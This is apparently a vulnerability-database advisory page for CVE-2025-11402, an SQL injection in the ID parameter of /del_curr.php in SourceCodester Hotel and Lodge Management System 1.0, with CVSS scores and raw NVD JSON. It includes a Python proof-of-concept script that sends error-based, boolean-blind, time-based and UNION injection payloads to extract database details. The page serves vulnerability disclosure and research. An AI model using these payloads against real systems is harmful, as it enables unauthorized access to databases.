Security Vulnerability Report
中文
CVE-2025-11402 CVSS 6.3 MEDIUM

CVE-2025-11402

Published: 2025-10-07 18:15:58
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability has been found in SourceCodester Hotel and Lodge Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /del_curr.php. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:nikhil-bhalerao:hotel_and_lodge_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Hotel and Lodge Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11402 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability Location: /del_curr.php # Vulnerable Parameter: ID import requests # Target configuration TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/del_curr.php" # Step 1: Basic SQL Injection test - Error-based detection def test_error_based(target_url): """Test for error-based SQL injection""" payload = "1'" url = f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}" response = requests.get(url) if "error" in response.text.lower() or "syntax" in response.text.lower(): print(f"[+] Error-based SQL Injection detected at: {url}") return True return False # Step 2: Boolean-based blind SQL Injection def boolean_blind_injection(target_url): """Exploit boolean-based blind SQL injection to extract data""" # True condition true_payload = "1' AND '1'='1" true_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={true_payload}") # False condition false_payload = "1' AND '1'='2" false_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={false_payload}") if true_response.text != false_response.text: print("[+] Boolean-based blind SQL Injection confirmed") return True return False # Step 3: Time-based blind SQL Injection def time_based_injection(target_url): """Exploit time-based blind SQL injection""" import time payload = "1' AND SLEEP(5)-- -" start_time = time.time() requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}") elapsed_time = time.time() - start_time if elapsed_time >= 5: print("[+] Time-based blind SQL Injection confirmed") return True return False # Step 4: UNION-based SQL Injection to extract data def union_injection(target_url): """Extract database information using UNION injection""" # Determine number of columns first for i in range(1, 10): columns = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {columns}-- -" url = f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}" response = requests.get(url) if response.status_code == 200 and "error" not in response.text.lower(): print(f"[+] UNION injection works with {i} columns") # Extract database version and current user info_payload = f"-1' UNION SELECT database(),version(),user()-- -" info_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={info_payload}") print(f"[+] Database info: {info_response.text}") return True return False # Main execution if __name__ == "__main__": print(f"[*] Testing CVE-2025-11402 against {TARGET_URL}") test_error_based(TARGET_URL) boolean_blind_injection(TARGET_URL) time_based_injection(TARGET_URL) union_injection(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11402", "sourceIdentifier": "[email protected]", "published": "2025-10-07T18:15:58.310", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in SourceCodester Hotel and Lodge Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /del_curr.php. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nikhil-bhalerao:hotel_and_lodge_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "01868A61-18A4-4C5D-B260-54D49603028E"}]}]}], "references": [{"url": "https://github.com/TThuyyy/cve1/issues/10", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327339", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327339", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665098", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/TThuyyy/cve1/issues/10", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}